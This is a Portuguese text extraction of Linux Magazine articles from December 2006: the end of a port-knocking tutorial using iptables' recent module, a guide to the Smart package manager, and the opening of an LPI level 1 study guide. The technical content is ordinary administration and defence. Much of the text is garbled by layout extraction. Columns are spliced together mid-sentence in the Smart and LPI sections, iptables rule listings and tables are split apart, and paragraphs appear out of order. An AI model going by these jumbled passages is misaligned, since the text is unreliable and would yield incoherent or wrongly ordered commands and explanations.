ACCEPT tcp -- anywhere ➥ anywhere tcp spts:1024:65535 ➥ dpt:2200 recent: CHECK name: ➥ SSHKNOCK side: source DROP tcp -- anywhere ➥ anywhere tcp spts:1024:65535 ➥ dpt:1500 recent: REMOVE name: SSHKNOCK ➥ side: source
Sucesso. Feito isso, agora vamos tentar nos conectar ao SSHD na porta 2200 para testar o funcionamento do bloqueio padrão após a ativação das regras: # ssh -p 2200 nwadmin@servidor (180 segundos depois...) ssh: connect to host servidor port 2200: ➥ Connection timed out
Connection to servidor closed.
com um navegador web, um cliente FTP ou telnet, ou até com o próprio cliente SSH. Depois de fazer isso, vamos conseguir nos conectar à máquina em questão. Ao final, bateremos na porta 1500, o que fechará a porta do SSHD: Vamos bater na porta 60000: root@bishamonten:~# telnet servidor 60000 ^C
Pressionamos ctrl-c para não termos que esperar 3 minutos, já que estamos simplesmente “batendo” na porta 60000) Agora tentaremos nos conectar
Caso não haja resposta, ou se a resposta informar que a conexão não pôde ser estabelecida, isso significa que a porta está efetivamente fechada.
root@bishamonten:~# ssh -p 2200 ➥ nwadmin@servidor
Batendo à porta
nwadmin@servidor:~# hostname servidor
Para conseguirmos nos conectar ao SSHD que está rodando na porta 2200, precisaremos antes “bater” na porta 60000. Isso é feito com o envio de qualquer pacote para essa porta. Ou seja, podemos bater à porta
Verificando se nos conectamos
Desconectando: nwadmin@servidor:~# logout
Vamos fechar a porta com educação root@bishamonten:~# telnet servidor 1500
Agora conferimos se a porta está mesmo fechada root@bishamonten:~# ssh -p 2200 ➥ nwadmin@servidor (3 minutos depois, caso você espere) ssh: connect to host servidor port 2200: ➥ Connection timed out
Agora, se, ao invés de darmos uma batida para fechar a porta novamente, quisermos isso automático, é só trocarmos a regra presente na linha 4 do exemplo 2 por uma verificação por tempo. Por exemplo, vou usar um intervalo de 60 segundos. Apenas uma conexão do meu IP com o servidor será liberada, caso não transcorram mais de 60 segundos entre a batida de abertura (linha 3 do exemplo 2) e a solicitação de conexão (linha 4). A regra de solicitação de conexão ficaria assim: # iptables -A INPUT -p tcp -s 0/0 --sport
http://supertuxbr.blogspot.com 50
http://www.linuxmagazine.com.br
Port Knocking | TUTORIAL
➥ 1024:65535 --dport 2200 -m recent --rcheck ➥ --seconds 60 --rsource --name SSHKNOCK -j ➥ ACCEPT
Com o help do recent, você vai ver que é capaz de fazer várias outras combinações, como exigir duas batidas antes de liberar a conexão ou, em vez da batida para liberação, fazer uma configuração para bloqueio (por exemplo, três tentativas em um minuto causariam um bloqueio de dez minutos), muito útil para serviços expostos. É importante ressaltar que todos os procedimentos demonstrados neste artigo aplicados à corrente INPUT também podem ser utilizados sobre a corrente FORWARD, ou seja, para serviços rodando em servidores atrás do firewall. Mais à frente, veremos exemplos
Exemplo 3: Batida na porta com o ssh root@bishamonten:~# ssh -p 60000 nwadmin@servidor ^C root@bishamonten:~# ssh -p 2200 nwadmin@servidor nwadmin@servidor’s password:
limite preferido é de 40 segundos entre a batida e a conexão. Veja bem, o fato de eu manter a permissão de conexão por apenas 40 segundos não vai me desconectar de uma conexão já estabelecida; a regra de tempo funciona somente para estabelecer a conexão. Depois de estabelecida, ela é controlada pelo serviço que a hospeda (no caso o SSHD). É importante notar que também é possível utilizar a técnica de Port Knocking para máquinas atrás de um firewall ou NAT. O exemplo 4 mostra uma configuração no firewall (que também atua
O bloqueio da conexão a um servidor web pode parecer não fazer sentido. No entanto, essa técnica pode ser útil para a visualização de um projeto em andamento, com fins de demonstração, por exemplo. É importante informar que, para fins de consulta, o conteúdo de cada lista do módulo ipt_recent do iptables, como é o caso de nossa WEBKNOCK, fica em /proc/ net/ipt_recent/. O administrador pode consultá-los com um simples comando cat, e a saída é formatada como mostra o exemplo:
Exemplo 4: Port Knocking em conjunto com NAT 01 02 03 04 05
iptables iptables iptables iptables iptables
-t -A -A -A -A
nat -A PREROUTING -p tcp --dport 80 -m recent --rcheck --rsource --name WEBKNOCK -j DNAT --to 192.168.0.3 FORWARD -p tcp -s 192.168.0.3 -m recent --rcheck --rdest --name WEBKNOCK -j ACCEPT FORWARD -p tcp -d 192.168.0.3 -m recent --rcheck --rsource --name WEBKNOCK -j ACCEPT INPUT -p tcp --dport 8888 -m recent --set --rsource --name WEBKNOCK -j DROP INPUT -p tcp --dport 8880 -m recent --remove --rsource --name WEBKNOCK -j DROP
de algumas configurações utilizadas na prática.
Complicando
O fato de termos utilizado o telnet para realizar o Knock não o torna melhor ou pior do que qualquer outra forma de envio de pacote para uma determinada porta em uma máquina remota (via protocolo TCP/IP); eu o fiz simplesmente para mostrar a flexibilidade pelo lado do cliente na utilização desta implementação. Da mesma forma, poderíamos ter utilizado o próprio ssh, alterando apenas a porta e dando uma batida antes de efetuar realmente a conexão, como mostra o exemplo 3: O resultado seria idêntico, independentemente de usarmos o ssh ou o telnet para bater na porta. Na linha 2, eu novamente pressionei [Ctrl] + [C] após um ou dois segundos para não ter que aguardar os 180 segundos.
Outra implementação Costumo utilizar a implementação para SSHD por tempo, para que eu não precise lembrar de enviar uma outra batida depois de sair de uma manutenção. Meu
como gateway, no caso), exigindo batidas na porta. O bloco de regras acima está fazendo um Port Knocking baseado em “Knock Open” e “Knock Close” para um servidor web que se localiza atrás de um firewall, ou seja, dentro da minha rede interna. O IP desse servidor é 192.168.0.3. A novidade é o uso da corrente FORWARD e do parâmetro --rdest, que representa nada mais que o IP de destino, assim como o --rsource refere-se ao IP de origem. A linha 1 do exemplo 4 contém a regra que realiza a verificação do IP de origem, e fica responsável por permitir a realização do DNAT do firewall até o servidor web, caso o Port Knocking já tenha sido realizado, isso é, se a porta já estiver aberta para esse IP. A linha 2 verifica se o IP de destino do pacote de saída do servidor web já possui uma entrada na lista WEBKNOCK – se positivo, o pacote recebe a permissão de passar. A regra que realiza a operação complementar à da linha 2 está mostrada na linha 3; ela verifica se o IP do cliente que está solicitando a conexão já consta na lista WEBKNOCK. Nós adicionamos o IP do cliente à lista WEBKNOCK na linha 4, coletando os dados da “batida” na porta 8888. A linha 5 realiza o fechamento da porta mediante o envio de um pacote à porta 8880.
root@bishamonten:~# cat /proc/net/ipt_ ➥ recent/SSHKNOCK src=200.222.233.200 ttl: 118 last_seen: ➥ 985252282 oldest_pkt: 1 last_pkts: ➥ 985252282
(No caso, o IP 200.222.233.200 é o único integrante da lista em questão.)
Conclusão
O módulo ipt_recent e a técnica de Port Knocking não são novidades, porém podem ser de grande ajuda quando se deseja realizar a administração remota a partir de qualquer lugar do mundo sem abrir mão de um alto grau de segurança. As regras de iptables demonstradas neste artigo foram bastante específicas, justamente para que ficasse claro que podem ser usadas praticamente todas as funcionalidades desse utilitário, em completa harmonia com seus outros módulos. Aqueles que se interessarem em desenvolver regras mais interessantes com base neste artigo, ou que tiverem qualquer dúvida, sintam-se à vontade para entrar em contato. ■
Mais Informações [1] Daemon Knockd: http://www.zeroflux.org/knockd
http://supertuxbr.blogspot.com Linux Magazine #26 | Dezembro de 2006
51
O gerenciador de pacotes polivalente Smart
TUTORIAL
Fique esperto!
O gerenciador de pacotes é um dos componentes centrais de qualquer sistema Linux. Se seu sistema de gerenciamento de pacotes não for confiável, ou mesmo que seja, vale a pena conferir essa alternativa. por Marcel Hilzinger
O
verdadeiro teste de um gerenciador de pacotes é como a ferramenta resolve dependências. O Smart é um dos melhores gerenciadores de pacotes da atualidade para resolver problemas de dependência. O gerenciador de pacotes não depende de qualquer
Figura 1: A interface gráfica do Smart oferece aos administradores uma função de busca bastante conveniente. A aba de URLs ainda mostra o repositório de onde um pacote se originou.
distribuição específica, e consegue lidar com mais de dez formatos de repositórios. O Smart vem com a ferramenta de linha de comando smart, além de uma shell (smart -shell) e da interface gráfica (figura 1), que pode ser iniciada com o comando smart --gui. O objetivo do projeto Smart é criar “algoritmos inteligentes e portáveis para resolver adequadamente o problema de gerenciar a atualização e a instalação de softwares”. Existe um motivo para essa ênfase dos desenvolvedores nos algoritmos. Os algoritmos são um foco importantíssimo do projeto Smart – e um motivo fundamental para seus desenvolvedores considerarem sua ferramenta como algo diferente. Quando se trata de dependência, o Smart não só usa a solução mais fácil e mais óbvia, como também pesa cada opção possível com o uso de um sistema de políticas baseado em prioridades. Em alguns casos, a “melhor” solução pode depender do objetivo. Por exemplo, se você estiver fazendo uma atualização, o
Smart talvez não escolha a versão mais recente de um pacote se uma versão intermediária oferecer um melhor resultado para o sistema como um todo. Os algoritmos do Smart também levam em conta fatores de eficiência, escolhendo a combinação de pacotes que leva à instalação mais veloz e confiável. O Smart consegue lidar com pacotes DEB, RPM e do Slackware, e suporta repositórios APT, YUM e URPMI, dentre outros. A arquitetura do programa ainda oferece mais para se adicionar novos formatos de pacotes e também de repositórios.
Instalação
A forma mais fácil de instalar o Smart é através do uso de seu atual gerenciador de pacotes, supondo que você disponha de conexão à Internet. Os usuários do Ubuntu podem executar sudo apt-get install smartpm para instalar o pacote a partir do repositório
http://supertuxbr.blogspot.com 52
http://www.linuxmagazine.com.br
Smart | TUTORIAL
Quadro 1: Comandos do Smart ➧ Instalar pacote: smart install pacote, ou smart install /caminho/para/o/pacote ➧ Procurar pacotes: smart search nome_do_pacote ➧ Atualizar a lista de pacotes (executado automaticamente antes da instalação): smart update ➧ Acrescentar um canal: smart channel --add arquivo_do_canal, ou smart channel --
add nome_do_apelido name=”descrição detalhada” type=apt-deb distribution=dapper baseurl=http://archive.ubuntu.com/ubuntu components=”universe” ➧ Gerenciar servidores espelho: smart mirror --add
ftp://servidor.url/path http://espelho.url/caminho/`` e smart mirror --show ➧ Especificar prioridades: smart channel --set nome_do_apelido priority=50
Dica É bom conferir as maiores prioridades aos repositórios oficiais da sua distribuição, em vez de escolher um fornecedor externo. Isso evita problemas causados pela mistura de pacotes.
Universe. Usuários do Fedora Core 5 encontrarão o Smart no repositório extras; apenas digite yum install smart para instalá-lo. Os leitores que usem o Suse Linux precisarão adicionar o repositório Guru [1] às fontes de instalação. Depois, será possível instalar o Smart através do YaST. A página do projeto [2] possui detalhes sobre os repositórios que contêm o Smart em outras distribuições. Para instalar a partir do código-fonte, é necessário ter instalados os pacotes de desevolvimento dos sistemas RPM ou DEB, além de diversos pacotes do Python. Com eles instalados, apenas digite make no diretório do código-fonte para iniciar a compilação. Depois, torne-se root e execute make install para instalar o Smart. Após terminar a instalação, pode-se optar pela linha de comando, como em smart install amarok, por exemplo, ou pela interface gráfica, com um smart --gui. O software também suporta combinações dos dois. São necessários privilégios de administrador para instalar ou remover programas.
Configução de repositórios Dependendo da sua distribuição e do fornecedor do pacote, o Smart pode ter uma lista de canais adequada às suas necessidades. “Canais”, para o Smart, são quaisquer tipos de repositórios ou fontes de pacotes. Por exemplo, os pacotes do Suse vindos do Guru [3] automaticamente configuram canais para o Packman e
o Guru. Outras distribuições não fazem uso intenso de repositórios de terceiros, e pouquíssimas listas estão disponíveis. Para acrescentar um novo canal à interface gráfica, selecione Editar | Canais | Novo, e depois opte por um dos cinco métodos sugeridos no próximo passo (figura 2). Figura 3: O Smart suporta um grande Para acrescentar um canal manualnúmero de formatos de fontes de pacotes. mente, selecione Prover Informação do Canal. Para ler os pacotes RPM de um diretório local, selecione o último item. Se você ativar essa opção, o programa Os outros três itens lêem informações de vai desconsiderar esse passo para a fonte canais existentes. O resto deste artigo ex- atual. Isso é útil para fontes estáticas de plica como configurar manualmente um pacotes, como diretórios RPM em um repositório através de Prover Informações CD, ou para repositórios locais. do Canal. Como alternativa, é possível Marcar Desativado informa o Smart adicionar fontes de pacotes pela linha de para não instalar nenhum pacote desse comando, com um smart channel --add. canal. Isso é prático se você quiser deO quadro 1 demonstra um exemplo para sativar um canal temporariamente sem o Ubuntu 6.06. apagar sua entrada respectiva. A opção Seleciona-se o formato necessário no Removível informa ao Smart que o canal diálogo mostrado na figura 3. Geralmente, localiza-se em uma mídia externa (CD ou é um Repositório APT-DEB no Ubuntu, DVD). Se necessário, o gerenciador de ou MetaData RPM no Fedora Core e no pacotes pedirá que se insira o disco. Suse Linux. A possibilidade de gerenciar Pode-se usar o valor de Prioridade para a instalação a partir de fontes do YaST foi pesar canais. Quanto maior o valor, mais acrescentada na versão 0.42. As entradas provável é que o Smart use esse canal para Pacotes RPM instalados e Pacotes DPKG instalar o pacote. Teoricamente, podeinstalados informam ao Smart para exa- se conferir prioridades entre -100000 e minar os pacotes instalados, o que dá à 100000, embora dois dígitos sejam sufiferramenta a capacidade de apagar soft- cientes na maioria dos casos. O padrão é o canal receber um valor de zero. wares instalados. Após optar por um formato, forneça as informações necessárias no diálogo Editar Canal (figura 4). Como Apelido, especifique um nome curto e intuitivo. Podese acrescentar uma descrição mais detalhada na caixa Nome. O item Atualizações manuais permite que se escolha se o Smart deve examinar Figura 2: O Smart oferece cinco métodos diferentes de se integrar uma nova fonte de pacotes. o canal ao ser iniciado.
http://supertuxbr.blogspot.com Linux Magazine #26 | Dezembro de 2006
53
TUTORIAL | Smart
Exemplo 1: Busca tolerante 01 02 03 04 05 06 07 08 09 10
kim:~ # apt-get install realplay Lendo Lista de Pacotes... Pronto Construindo Árvore de Dependências... Pronto E: Impossível achar pacote realplay kim:~ # smart install realplay Carregando o cache... Atualizando cache... ############ [100%] erro: 'realplay' matches no packages. Suggestions: erro: realplayer_8.0.11
Especifique o endereço para download na caixa URL base. Um arquivo de configuração pré-existente, como sources. list no Ubuntu ou Debian, ou yum.conf, é a melhor fonte para essa informação. Usuários do Fedora Core precisarão adicionar entradas como $basearch (i386, por exemplo). Os outros campos dependem do formato selecionado. O programa pedirá a Distribuição e o Componente para fontes do tipo APT-DEB. Depois de fazer mudanças, assegure-se de ter saído do Smart, selecionando Arquivo | Sair. Em nosso laboratório, o programa às vezes esquecia os novos canais se não saíssemos propriamente dele.
Utilização
Pode-se pressionar [Ctrl]+[F] ou clicar no ícone com uma lupa para ativar a ferramenta mais importante do Smart, a busca. Por padrão, o programa buscará apenas nomes de pacotes. Se você preferir procurar nas descrições, simplesmente pressione o botão Descrição. A função de busca do Smart não diferencia letras maiúsculas de minúsculas, e a versão de linha de comando é bem mais tolerante que o apt-get nesse ponto. Por exemplo, smart search realpla encontra não apenas o pacote RealPlayer, mas todos os pacotes com RealPlayer em suas descrições. A ferramenta também mostra várias su-
gestões úteis durante a instalação (veja boa forma de evitar atualizações de uma configuração funcional do Xine, o exemplo 1). Depois de completar uma busca, o por exemplo. Entretanto, será necessáSmart primeiro vai mostrar os grupos de rio pensar em quais pacotes receberão pacotes que contêm os pacotes em questão. prioridades, e lembrar das suas escolhas, Se você preferir ordenar o resultado pela pois isso pode impedir a atualização de fonte, selecione Visualização | Estilo da pacotes importantes. Em caso de dúvida, árvore | Canais, embora o Visualização talvez você prefira Travar esta versão. Se | Estilo da Árvore | Nenhum talvez seja o Smart começar a instalar versões mais mais eficiente, pois diz ao Smart para antigas dos pacotes, pode-se deduzir que apenas mostrar os resultados. você tenha esquecido algumas prioridaSe você tiver familiaridade com o Sy- des no meio do caminho. Para remediar naptic, não deve ter dificuldades com o isso, selecione Editar | Prioridades, na Smart. Clicar em uma caixa à esquerda interface gráfica. do nome do pacote marca o software para Por padrão, o Smart apaga os arquivos instalação. E pode-se também clicar em de pacotes logo após sua instalação. Caso pacotes instalados para selecioná-los para você prefira armazenar os arquivos para remoção. Estrelas amarelas informam que reutilização futura, rode o gerenciador há atualizações disponíveis para o paco- de pacotes na linha de comando, usante em questão. Um clique com o botão do a opção -o remove-packages=false. Os direito mostra um menu com funções pacotes baixados serão guardados em avançadas, tais como reinstalar pacotes, /var/lib/smart/packages/, e você poderá proteger pacotes individuais contra atua- usá-los para atualizar outra máquina. Para lização (Travar esta versão), ou especificar impedir que o Smart apague os arquivos prioridades de pacotes. baixados, apenas use o comando smart Para instalar um pacote, clique no config --set remove-packages=false. ícone com uma engrenagem, selecione Se você usar o KDE, pode valer a pena Arquivo | Executa mudanças, ou pressio- instalar o applet KSmarttray, do kicker, ne [Ctrl]+[C]. O Smart tentará baixar em que o mantém informado a respeito de paralelo os pacotes selecionados, acessan- desenvolvimentos recentes. Se o Smart do vários servidores espelho para isso. A encontrar dificuldades em algum estágio, ferramenta se lembra dos espelhos mais existe uma solução bem fácil: Editar | Sorápidos e confiáveis, e os usa preferen- lucionar Todos os Problemas.... Ela torna cialmente em downloads futuros. Para o Smart ainda mais esperto. ■ acrescentar um novo espelho, selecione Editar | Espelhos, depois selecione o servidor principal, e então clique em Novo. Veja o quadro 1 para descobrir como adiMais Informações cionar novos espelhos.
Dicas e truques
Figura 4: Criação de um canal para atualização do Suse 10.1.
O Smart também consegue lidar com pacotes locais. O comando smart install ~/*.rpm instala todos os pacotes RPM, assim como os arquivos de canal necessários. Se você desejar converter seu sources. list em um arquivo de canais do Smart, veja os scripts em [4]. Os pacotes podem receber prioridades, assim como os canais. Essa é uma
[1] Repositório Guru: ftp://ftp.gwdg.de/pub/linux/ misc/suser-guru/rpm/10.1/
[2] Smart: http://labix.org/smart [3] Página de RPMs do Guru: http://linux01.gwdg.de/~pbleser/ [4] Conversão de listas APT para arquivos de canal:
http://linux01.gwdg.de/ ~pbleser/files/smart/aptsources-to-smart.sh
http://supertuxbr.blogspot.com 54
http://www.linuxmagazine.com.br
Vamos começar uma preparação para a certificação LPI
TUTORIAL
LPI nível 1: Aula 1 Começando a série de estudos para a certificação LPI nível 1, veremos os tópicos 101 e 102. Os tópicos e objetivos estão organizados conforme o determinado pelo próprio Linux Professional Institute. por Luciano Siqueira
Dave Sackville - www.sxc.hu
Tópico 101: Hardware e Arquitetura Objetivo 1.101.1: Configuração de Atributos Fundamentais de BIOS Recursos de hardware O hardware básico do sistema é configurado através do utilitário de configuração de BIOS. Através desse utilitário, é possível liberar e bloquear periféricos integrados, ativar proteção básica contra erros e configurar endereços I/O, IRQ e DMA. ➧ IRQ: Requisição de Interrupção do dispositivo para a CPU, que interrompe a atividade em andamento e processa a instrução enviada pelo dispositivo. ➧ I/O: Endereço específico no mapa de memória do sistema. A CPU irá se comunicar com o dispositivo lendo e escrevendo nesse endereço. ➧ DMA: Canal que permite a certos dispositivos acesso direto à memória sem intermédio da CPU.
É comum que algumas máquinas sejam acessadas apenas remotamente e não tenham um teclado conectado. Em caso de algum problema que cause o desligamento da máquina, é importante que ela reinicie e volte a operar normalmente. Alguns BIOS procuram um teclado e interrompem a inicialização caso não o encontrem. Nesse caso, é imprescindível que o BIOS esteja configurado para não procurar teclados durante a inicialização. O kernel Linux armazena informações sobre recursos de dispositivos no diretório /proc, nos arquivos: ➧ /proc/dma ➧ /proc/interrupts ➧ /proc/ioports ➧ /proc/pci Comandos para inspecionar dispositivos ➧ lspci: lista informações de chipset dos componentes PCI. Com a opção -v, lista I/O e IRQ dos dispositivos. ➧ dmesg: mostra as mensagens do kernel, da identificação do hardware em diante. Essa informação está disponível em /var/log/dmesg e /var/log/messages.
Objetivo 1.101.3: Configuração de Modems e Placas de som Modems Para utilizar um modem externo, tudo o que precisa ser considerado é a porta serial à qual ele está conectado. Se tratar-se de um modem PCI interno, precisamos conhecer a porta I/O e a interrupção utilizadas pelo mesmo. Isso pode ser obtido com o comando lspci -v. Para configurar a porta serial do modem interno, usa-se o comando setserial. Para checar se uma porta serial está em uso, usa-se setserial -g caminho_do_dispositivo. # setserial /dev/ttyS0, ➥ IRQ: 4 /dev/ttyS1, ➥ IRQ: 3 /dev/ttyS2, ➥ IRQ: 4 /dev/ttyS3, ➥ IRQ: 3
-g /dev/ttyS[0123] UART: 16550A, Port: 0x03f8, UART: unknown, Port: 0x02f8, UART: unknown, Port: 0x03e8, UART: unknown, Port: 0x02e8,
No caso do exemplo, apenas a primeira porta serial (/dev/ttyS0) está em
http://supertuxbr.blogspot.com Linux Magazine #26 | Dezembro de 2006
55
TUTORIAL | Preparação LPI
uso. Às demais podem ser atribuídos os valores de recursos do modem obtidos através do comando lspci -v. Se os valores relativos ao modem forem I/O 0xdc80 e IRQ 9, pode-se atribuir os mesmos à porta /dev/ttyS3, que está livre, com o comando set-
são feitos manualmente na janela do terminal do programa. Para configurar o modem, o minicom deve ser iniciado no modo de configuração com o comando minicom -s. Diferente do wvdial, o minicom não executa o daemon pppd automaticaserial /dev/ttyS3 port 0xdc80 irq 9 mente, cabendo ao usuário executá-lo autoconfig. A maioria dos programas para criar a interface de rede e conferir procura o modem no caminho /dev/ a ela um número IP. modem. Portanto, é necessário criar um Se não foi possível a comunicalink simbólico com o comando ln -s ção com o modem através desses /dev/ttyS3 /dev/modem. procedimentos, mesmo com o disO comando setserial também é positivo devidamente conectado à usado para controlar a velocidade da máquina, provavelmente trata-se porta serial. O comando setserial /dev/ de um winmodem. Winmodems são ttyS3 spd_vhi configura a velocidade dispositivos dependentes de software para 115 Kbps. adicional, muitas vezes desenvolviArgumentos de velocidade para do exclusivamente para plataforma setserial: Windows®. Dessa forma, se esse ➧ spd_hi: 56 kb quando solicitado for software específico não estiver dis38.4 ponível também para GNU/Linux, ➧ spd_vhi: 115 kb quando solicitado for o modem não funcionará. 38.4 Dispositivos de som ➧ spd_shi: 230 kb quando solicitado for 38.4 Há dois tipos principais de suporte a pla➧ spd_warp: 460 kb quando solicitado for cas de som no GNU/Linux: OSS (Open 38.4 Sound System) e ALSA (Advanced Linux ➧ spd_cust: Usar um divisor diferente Sound Architeture). quando solicitado for 38.4. A velocidade O seguinte comando identifica qual será o valor do argumento baud_base o seu dispositivo de som: dividido pelo valor do argumento di# lspci | grep -i audio visor. ➧ spd_normal: 38.4 kb quando solicitado 00:11.5 Multimedia audio controller: VIA ➥ Technologies, Inc. VT8233/A/8235/8237 AC97 for 38.4 ➥ Audio Controller (rev 60) A configuração do modem para fazer ligações dial-up pode ser feita através Identificado o dispositivo, é posdos programas wvdial ou minicom. O script wvdialconf busca um sível carregar o módulo corresponmodem nas portas seriais e USB, e dente, seja ele OSS ou ALSA. A engera o arquivo /etc/wvdial.conf . trada em /etc/modules.conf referente Editando esse arquivo com as infor- ao primeiro dispositivo de áudio enmações do provedor de Internet, a li- contrado é sound-slot-0 . Para carregação é feita com o comando wvdial gar automaticamente a placa através nome_do_provedor. do /etc/modules.conf , adicione neste No minicom, os processos de con- arquivo a linha alias sound-slot-0 figuração, discagem e autenticação nome_do_módulo .
Objetivo 1.101.4: Configuração de Dispositivos não IDE Dispositivos SCSI Há basicamente dois tipos de dispositivos SCSI: 8 bit (8 dispositivos incluindo o controlador) e 16 bit (16 dispositivos incluindo o controlador). Dispositivos SCSI são identificados através de um conjunto de três números, chamado SCSI_ID: ➧ O Canal SCSI: cada adaptador SCSI suporta um canal de dados no qual são anexados os dispositivos SCSI. São numerados a partir de zero. ➧ O ID do dispositivo: a cada dispositivo é atribuído um número ID único alterável através de jumpers. A faixa de IDs vai de 0 a 7 em controladores de 8 bits, e de 0 a 15 em controladores de 16 bits. O ID do controlador costuma ser 7. ➧ O número lógico da unidade (LUN): é usado para determinar diferentes dispositivos dentro de um mesmo alvo SCSI. Pode indicar uma partição em um disco ou um dispositivo de fita específico em um dispositivo multi-fita. Hoje não é muito utilizado, pois adaptadores SCSI estão mais baratos e podem comportar mais alvos por barramento. Todos os dispositivos SCSI encontrados são listados em /proc/scsi/scsi. O comando scsi_info usa as informações desse arquivo para mostrar o SCSI_ID e o modelo do dispositivo solicitado. Por padrão, o dispositivo SCSI de inicialização é o de ID 0, o que pode ser alterado no BIOS SCSI. Se existirem tanto dispositivos SCSI quanto IDE, a ordem da inicialização precisa ser especificada no BIOS da máquina.
Recursos padrão utilizados por dispositivos comuns: Dispositivo
Porta I/O
IRQ
/dev/ttyS0 (porta serial 0)
0x03f8
4
/dev/ttyS1 (porta serial 1)
0x02f8
3
/dev/ttyS2 (porta serial 2)
0x03e8
4
/dev/ttyS3 (porta serial 3)
0x02e8
3
/dev/lp0 (porta paralela 0)
0x378
7
/dev/lp1 (porta paralela 1)
0x278
5
Placa de Som
0x220
N/A
http://supertuxbr.blogspot.com 56
http://www.linuxmagazine.com.br
Objetivo 1.101.5: Configuração de Placas de Expansão diversas A configuração de placas de expansão diversas engloba os aspectos abordados nos objetivos anteriores, além de um conhecimento mais sólido sobre coldplug, hotplug e inspeção de hardware. Em linhas gerais, coldplug significa a necessidade de desligar a máquina para conectar um dispositivo. Exemplos de dispositivos coldplug são placas PCI, ISA e dispositivos IDE. Na maioria dos computadores, CPU e pentes de memória são coldplug. Porém, alguns servidores de alta performance suportam hotplug para esses componentes. Hotplug é o sistema que permite conectar novos dispositivos à máquina em funcionamento e usá-los imediatamente, como no caso de dispositivos USB. O sistema Hotplug foi incorporado ao núcleo do modelo de driver do kernel 2.6; assim, qualquer barramento ou classe pode disparar eventos hotplug quando um dispositivo é conectado ou desconectado. Assim que um dispositivo é conectado ou desconectado, o hotplug dispara um evento correspondente, geralmente trabalhando junto do subsistema Udev, que atualiza os arquivos de dispositivos em /dev. Mesmo alguns dispositivos coldplug são configurados pelo sistema hotplug. Na hora da inicialização, o script /etc/init.d/hotplug (ou / etc/rc.d/rc.hotplug no Slackware) dispara os agentes em /etc/hotplug/ para configurar aqueles dispositivos que já estavam presentes antes de a máquina ser ligada.
Objetivo 1.101.6: Configuração de Dispositivos de Comunicação ISDN e DSL Há várias maneiras de se usar ISDN no GNU/Linux. A mais simples é empregar um dispositivo ISDN externo que disca, autentica e abre a sessão sozinho, disponibilizando a conexão pela interface ethernet. Se o computador estiver ligado diretamente à conexão ISDN, é necessário um dispositivo chamado Terminal Adapter (TA). Em TAs conectados à porta serial e em alguns dispositivos USB, aparecerá uma interface de comandos AT exatamente como se o TA fosse um modem. É simples, no entanto pouco prático.
Uma maneira mais eficiente de usar uma linha ISDN é usar um adaptador (PCI, ISA, PCCARD) conectado diretamente ao barramento da máquina. O utilitário isdn4linux incorpora soluções para muitos dos percalços da configuração de uma conexão ISDN e a estabelece como se fosse uma conexão feita por uma interface de rede convencional. Também para conexões DSL, o mais simples é que um dispositivo externo estabeleça a conexão e aja como um roteador para a máquina. Se você possui um modem DSL e seu provedor usa PPPoE (Point to Point Protocol over Ethernet) você precisará de um cliente PPPoE. Nesse caso, o pacote necessário para a conexão DSL chama-se pppoe ou rp-pppoe.
Objetivo 1.101.7: Configuração de Dispositivos USB Dispositivos para interface USB (Universal Serial Bus) são divididos em classes: ➧ Display Devices ➧ Communication Devices ➧ Audio Devices ➧ Mass Storage Devices ➧ Human Interface Devices (HID) A porta USB é operada por um controlador (Host Controller): ➧ OHCI (Compaq) ➧ UHCI (Intel) ➧ EHCI (USB v2.0) Uma vez conectados, os dispositivos USB podem ser inspecionados com o comando lsusb. As informações detalhadas sobre os dispositivos USB conectados são armazenadas no arquivo /proc/bus/usb/devices. O controle dos dispositivos USB é feito pelo hotplug. Veja as etapas executadas quando uma câmera USB é conectada ao computador: ➧ Os módulos USB do kernel identificam o evento USB e a ID vendor: product; ➧ Esses dados são passados para /sbin/ hotplug (ou outro, se o indicado em /proc/sys/kernel/hotplug não for o padrão); ➧ O agente USB respectivo (/etc/hotplug/usb.agent) associa o dispositivo ao produto correspondente. A relação entre dispositivo e módulo consta no arquivo /etc/hotplug/ usb.distmap. O mapa USB adequado precisa estar disponível para iniciar corretamente o dispositivo. ➧
http://supertuxbr.blogspot.com Linux Magazine #26 | Dezembro de 2006
TUTORIAL | Preparação LPI
Tópico 102: Instalação do GNU/Linux e Administração de Pacotes Objetivo 1.102.1: Criação de Esquemas de Partições de Disco
➧ /home: contém os diretórios pessoais dos usuários. Uma partição distinta ajuda a limitar o espaço disponível para usuários comuns. ➧ /boot: ponto de montagem para a partição do kernel e do carregador de inicialização. A separação desse diretório em relação ao resto do sistema é necessária apenas nos casos em que o sistema exija que o kernel esteja antes do cilindro 1024 do disco rígido.
A raiz da árvore de diretórios é representaA partição swap da por uma barra (/). É necessariamente o primeiro diretório a ter seu dispositi- Uma partição swap é identificada pelo código vo anexado. Depois de montada a raiz, 82 (0x82), atribuído quando da sua criação. os diretórios contidos nesse dispositivo Geralmente, a partição swap é do mesmo poderão ser pontos de montagem para tamanho que a quantidade de memória RAM presente no sistema. É possível haver outros dispositivos. mais de uma partição de swap. Processo de montagem: ➧ O carregador de inicialização carrega É preferível criar partições de swap o kernel e transmite as informações nos dispositivos mais velozes; se possível, sobre a localização do dispositivo em dispositivos distintos daqueles cujos raiz; dados sejam freqüentemente acessados ➧ Os demais dispositivos são montados pelo sistema. Também é possível criar grandes conforme as instruções encontradas arquivos como área de swap, o que é em /etc/fstab. Duas partições são o mínimo exigido geralmente feito em situações emergenem sistemas GNU/Linux; uma será a raiz, ciais, quando o sistema ameaça ficar sem enquanto a outra será a partição de swap. memória disponível. Pode ser necessária uma terceira partição pequena, no início do disco, apenas para armazenar o kernel e o carregador Objetivo 1.101.2: O de inicialização secundário. Fora essas, Gerenciador de Inicialização não há regras inflexíveis quanto à criação de partições, devendo ser avaliado A MBR (Master Boot Record, ou o melhor esquema para a função que o Registro Mestre de Inicialização) ocupa o primeiro setor do disco (512 sistema desempenhará. A partição raiz deve ser do tipo Li- bytes). Esse primeiro setor contém a nux Native, cujo código hexadecimal é tabela de partições e o carregador de 83 (representado por 0x83). Tudo no sis- inicialização. Terminados os procetema poderá ficar alojado diretamente dimentos do BIOS, o carregador de no dispositivo raiz. Em certos casos, é inicialização é disparado, por sua interessante criar uma partição distinta vez procurando na tabela de partipara certos diretórios, principalmente em ções uma partição ativa, e carrega o servidores que sejam muito exigidos. primeiro setor dessa partição. Sugestões de diretórios que podem se alojar em outros dispositivos/partições: Lilo ➧ /var: esse diretório contém as filas O Lilo (Linux Loader) é dividido em de email e impressão, que são muito três componentes: manipuladas. Ele abriga também ➧ lilo: o carregador propriamente dito. É os arquivos de registro, cujo coninstalado na MBR e chama o segundo estágio do carregador de inicialização, teúdo está em constante alteração geralmente localizado em /boot/boot.b. e crescimento. 